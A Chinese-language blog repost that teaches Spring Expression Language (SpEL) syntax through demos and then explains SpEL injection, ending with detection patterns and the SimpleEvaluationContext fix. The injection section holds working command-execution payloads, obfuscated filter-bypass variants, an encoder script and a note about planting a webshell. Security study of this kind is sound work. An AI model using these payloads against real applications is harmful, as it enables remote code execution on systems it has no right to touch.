浅入深SpEL表达式注入漏洞总结

SpEL 简介

在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL),

这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL 定界符     #{}

SpEL 使用 #{ } 作为定界符 ,所有在打括号中的字符都被认为表达式,在其中可以使用 SpEL 运算符 变量 引用 以及属性和方法等。

# { }  和 $ { } 的区别:

  • # { } 就是SpEL 的定界符,用于指明内容 spel 表达式并执行;
  • $ { } 主要用于
  • 两者可以混合使用,但是必须 # { } 在外面,${ } 在里面,如,注意单引号是字符串类型才添加的#{'${}'}

Spel 表达式类型

字面值

最简单的Spel 表达式就是仅包含一个字面值  ,此时需要用到 # { } 定界符,注意若是指定为字符串的话 需要添加单引号括起来

<property name="message1" value="#{666}"/>
<property name="message2" value="#{'mi1k7ea'}"/>

还可以直接与字符串混用:

<property name="message" value="the value is #{666}"/>

Java基本数据类型都可以出现在SpEL表达式中,表达式中的数字也可以使用科学计数法:

<property name="salary" value="#{1e4}"/>

演示

直接用Spring 的 HelloWorld 例子:

你好世界.java:

public class HelloWorld {
    private String message;

    public void setMessage(String message){
        this.message  = message;
    }

    public void getMessage(){
        System.out.println("Your Message : " + message);
    }
}

主应用.java:

import com.mi1k7ea.service.AccountService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
        obj.getMessage();
    }
}

Beans.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="helloWorld" class="Spel.HelloWorld">
        <property name="message" value="#{'snowy'} is #{1e7}" />
    </bean>

</beans>

运行结果:

Your Message : snowy is 1.0E7

引用Bean、属性和方法

引用 Bean

SpeL 表达式能够通过其他Bean的ID 进行引用,直接在 # { } 符号中写入ID 名即可,无需添加单引号括起来。 如:

<!--原来的写法,通过构造函数实现依赖注入-->
<!--<constructor-arg ref="test"/>-->
<constructor-arg value="#{test}"/>

引用类属性

SpEL 表达式能够访问类的属性

比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:

<bean id="kenny" class="com.spring.entity.Instrumentalist"
    p:song="May Rain"
    p:instrument-ref="piano"/>
<bean id="carl" class="com.spring.entity.Instrumentalist">
    <property name="instrument" value="#{kenny.instrument}"/>
    <property name="song" value="#{kenny.song}"/>
</bean>

相当于 执行了:

>Instrumentalist carl = new Instrumentalist();
>carl.setSong(kenny.getSong());

引用类方法:

SpEL 表达式还可以访问类的方法:

如现在有个SongSelector 类,该类有个 selectSong() 方法,这样的话 carl 不需要模仿别人,直接开始吟唱 songSelector 所选的歌了

> <property name="song" value="#{SongSelector.selectSong()}"/>

carl 有个癖好 , 歌曲名不是大写的,他就浑身难受,我们需要做的就是为他返回的歌曲调用toUpperCase() 方法

<property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>

注意:这里我们不能确保不抛出 NullPointerException,,为了避免这个讨厌的问题,我们可以使用SpEL 的null - safe 存取器

<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>


?  .  符号 会确保左边的表达式不会为  null ,如果为null 的话 就不会调用 toUpperCase()方法

Demo -- 引用Bean

这里修改基于构造函数的依赖注入的实例:

SpellChecker.java:

public class SpellChecker {
    public SpellChecker(){
        System.out.println("Inside SpellChecker constructor." );
    }
    public void checkSpelling() {
        System.out.println("Inside checkSpelling." );
    }
}

TextEditor.java:

public class TextEditor {
    private SpellChecker spellChecker;
    public TextEditor(SpellChecker spellChecker) {
        System.out.println("Inside TextEditor constructor." );
        this.spellChecker = spellChecker;
    }
    public void spellCheck() {
        spellChecker.checkSpelling();
    }
}

MainApp.java:

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        TextEditor te = (TextEditor) context.getBean("textEditor");
        te.spellCheck();
    }
}

Beans.xml,通过的方式替换掉之前的ref属性设置value="#{bean id}"

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <!-- Definition for textEditor bean -->
    <bean id="textEditor" class="com.mi1k7ea.TextEditor">
        <!--<constructor-arg ref="spellChecker"/>-->
        <constructor-arg value="#{spellChecker}"/>
    </bean>

    <!-- Definition for spellChecker bean -->
    <bean id="spellChecker" class="com.mi1k7ea.SpellChecker" />

</beans>

运行输出结果:

Inside SpellChecker constructor.
Inside TextEditor constructor.
Inside checkSpelling.

类类型表达式 T (Type)

在SpEL表达式中,使用 T(Type) 运算符会调用类的 作用域和方法,换句话说,就是可以通过该类类型表达式 来操作类。

使用 T(Type) 来表示 java.lang.Class  实例,Type 必须是类全限定名,但 "java.lang" 包除外, 因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名; 使用类类型表达式还可以进行访问类静态方法 和  类静态字段。

在XML 配置文件中的使用实例,要调用java.lang.Math 来获取0~1 的随机数:

<property name="random" value="#{T(java.lang.Math).random()}"/>

Expression(表达式)中使用示例:

ExpressionParser parser = new SpelExpressionParser();
// java.lang 包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1);
//其他包类访问
String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
System.out.println(result2);
//类静态字段访问
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
System.out.println(result3);
//类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
System.out.println(result4)

DEMO

在前面字面值的 Demo中修改 Beans.xml 即可:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">


    <bean id ="hello" class="Spel.eztest.HelloWorld">
        <property name="message" value="#{T(java.lang.Math)?.random() }"/>
    </bean>

</beans>

输出结果:

Your Message : 0.23296371273385708

恶意利用 ————弹计算器

修改其 value中 类类型表达式的类为 RUntime 并调用其执行方法即可:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">


    <bean id ="hello" class="Spel.eztest.HelloWorld">
        <property name="message" value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>

</beans>

运行 就弹出计算器。

SpEL 用法

SpEL 的用法有三种形式,一种是在注解 @Value 中; 一种是XML 配置;最后一种是在代码块中使用Expression

前面的就是以XML配置为例 对SpEL 表达式的用法进行的说明,而注解@Value 的用法例子如下:

public class EmailSender {
    @Value("${spring.mail.username}")
    private String mailUsername;
    @Value("#{ systemProperties['user.region'] }")    
    private String defaultLocale;
    //...
}

Expression用法

由于后续分析各种 Spring VCVE漏洞都是基于  Expression 形式的 SPEL 表达式注入,因此这里再单独说明SpEL 表达式 Expression形式用法

步骤

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

主要接口

  • ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
  • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
  • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

Demo

应用实例如下,和前面XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数 当SpEL 表达式来解析,而无需通过 #{ } 符号来注明:

public class ExpressionTest {
    public static void main(String[] args) {

        // 字符串字面量
        //String spel = "123+456";
        // 算数运算
        //String spel = "123+456";
        // 操作类弹计算器,当然java.lang包下的类是可以省略包名的
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
        // String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
        ExpressionParser parser = new SpelExpressionParser(); //spel解析器
        Expression expression = parser.parseExpression(spel); //解析表达式
        System.out.println(expression.getValue());            //取值
    }
}

 类实例化

类实例化同样使用JAVA关键字new ,类名必须是全限定名,但java.lang包内的类型除外

String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

SpEL 表达式运算

引用自 SpEL表达式 | MrBird

SpEL 提供了以下几种运算符:

运算符类型运算符
算数运算+, -, *, /, %, ^
关系运算<, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算and, or, not, !
条件运算?:(ternary), ?:(Elvis)
正则表达式matches

算数运算:

<property name="add" value="#{counter.total+42}"/>

加号还可以用于字符串拼接:

<property name="blogName" value="#{my blog name is+' '+mrBird }"/>

  ^  运算符 执行幂运算,其余和java一样

关系运算:

判断一个 Bean 的某个 属性是否等于 100:

<property name="eq" value="#{counter.total==100}"/>

返回值是boolean类型。关系运算符唯一需要注意的是:在Spring XML配置文件中直接写>=和<=会报错。因为这”<”和”>”两个符号在XML中有特殊的含义。所以实际使用时,最号使用文本类型代替符号

运算符符号文本类型
等于==eq
小于<lt
小于等于<=le
大于>gt
大于等于>=ge

如:

<property name="eq" value="#{counter.total le 100}"/>

逻辑运算

SpEL 表达式提供了多种逻辑运算符,其含义和JAVA一样  只不过符号不一样

使用and 运算符:

<property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/>

两边为true 时才返回true

其余操作一样,只不过非运算有 not 和 ! 两种符号可供选择,非运算 :

<property name="outOfStack" value="#{!product.available}"/>

条件运算

条件运算符 类似于 JAVA的三目运算符:

<property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/>

当选择的歌曲为”May Rain”的时候,一个id为piano的Bean将装配到instrument属性中,否则一个id为saxophone的Bean将装配到instrument属性中。注意区别piano和字符串“piano”!

一个常见的三目运算符的使用场合是判断是否为null值:

<property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/>

这里, kenny.song 引用重复了两次,SpEL 提供了三目运算符的变体来简化表达式:

<property name="song" value="#{kenny.song !=null ?:'Jingle Bells'}"/>

在以上示例中, 如果 kenny.song 不为null ,那么表达式的求值结果是kenny.song 否则就是 'Jingle Bells' 。

正则表达式

验证邮箱:

<property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/>

集合操作

SpEL 表达式支持对集合进行操作。

创建一个 City类:

public class City {
    private String name;
    private String state;
    private int population;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getState() {
        return state;
    }
    public void setState(String state) {
        this.state = state;
    }
    public int getPopulation() {
        return population;
    }
    public void setPopulation(int population) {
        this.population = population;
    }
}

修改Beans.xml,使用<util:list>元素配置一个包含City对象的List集合:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xmlns:util="http://www.springframework.org/schema/util"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/util
    http://www.springframework.org/schema/util/spring-util-4.0.xsd">

    <util:list id="cities">
        <bean class="com.mi1k7ea.City" p:name="Chicago"
              p:state="IL" p:population="2853114"/>
        <bean class="com.mi1k7ea.City" p:name="Atlanta"
              p:state="GA" p:population="537958"/>
        <bean class="com.mi1k7ea.City" p:name="Dallas"
              p:state="TX" p:population="1279910"/>
        <bean class="com.mi1k7ea.City" p:name="Houston"
              p:state="TX" p:population="2242193"/>
        <bean class="com.mi1k7ea.City" p:name="Odessa"
              p:state="TX" p:population="90943"/>
        <bean class="com.mi1k7ea.City" p:name="El Paso"
              p:state="TX" p:population="613190"/>
        <bean class="com.mi1k7ea.City" p:name="Jal"
              p:state="NM" p:population="1996"/>
        <bean class="com.mi1k7ea.City" p:name="Las Cruces"
              p:state="NM" p:population="91865"/>
    </util:list>

</beans>

访问集合成员:

SpEL表达式支持通过#{集合ID[i]}的方式来访问集合中的成员。

定义一个ChoseCity类:

<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
	<property name="city" value="#{cities[0]}"/>
</bean>

MainApp.java,实例化这个Bean:

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        ChoseCity c = (ChoseCity)context.getBean("choseCity");
        System.out.println(c.getCity().getName());
    }
}

运行无误则输出 "Chicago"

随意的选择一个city , 中括号 [ ] 运算始终通过索引访问集合中的成员

<property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/>

此时会随机访问一个集合成员并输出。

查询集合成员

SpEL表达式中提供了查询运算符来实现查询符合条件的集合成员:

  • .?[]:返回所有符合条件的集合成员;
  • .^[]:从集合查询中查出第一个符合条件的集合成员;
  • .$[]:从集合查询中查出最后一个符合条件的集合成员;

修改ChoseCity类,将city属性类型改为City列表类型:

import java.util.List;

public class ChoseCity {
    private List<City> city;

    public List<City> getCity() {
        return city;
    }
    public void setCity(List<City> city) {
        this.city = city;
    }
}

修改Beans.xml:

<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
	<property name="city" value="#{cities.?[population gt 100000]}"/>
</bean>

修改MainApp.java:

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        ChoseCity c = (ChoseCity)context.getBean("choseCity");
        for(City city:c.getCity()){
            System.out.println(city.getName());
        }
    }
}

运行输出:

Chicago
Atlanta
Dallas
Houston
El Paso

变量定义和引用

在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的root对象;

示例,使用setVariable()函数定义了名为variable的变量,并且通过#variable来引用,同时尝试引用根对象和上下文对象:

ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("snowy");
context.setVariable("variable", "666");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

输出:

666
snowy
snowy

SpEL表达式注入漏洞

漏洞原理

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

如下,前面的例子中已提过:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class MainApp {
    public static void main(String[] args) throws Exception {
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(spel);
        System.out.println(expression.getValue());
    }
}

POC &Bypass

// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:

message = input('Enter message to encode:')
 
print('Decoded string (in ASCII):\n')
 
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')
 
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
   print(',%s' % ord(ch), end=""), 
print(')}')

其他的一些payload:

// 转自:https://www.jianshu.com/p/ce4ac733a4b9

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径

${header}  文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p>   //获取web路径

检测与防御

检测方法

全局搜索关键特征:

//关键类
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser

//调用特征
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()

防御方法

最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。

Demo:

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

转自

SpEL表达式注入漏洞总结 [ Mi1k7ea ]

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值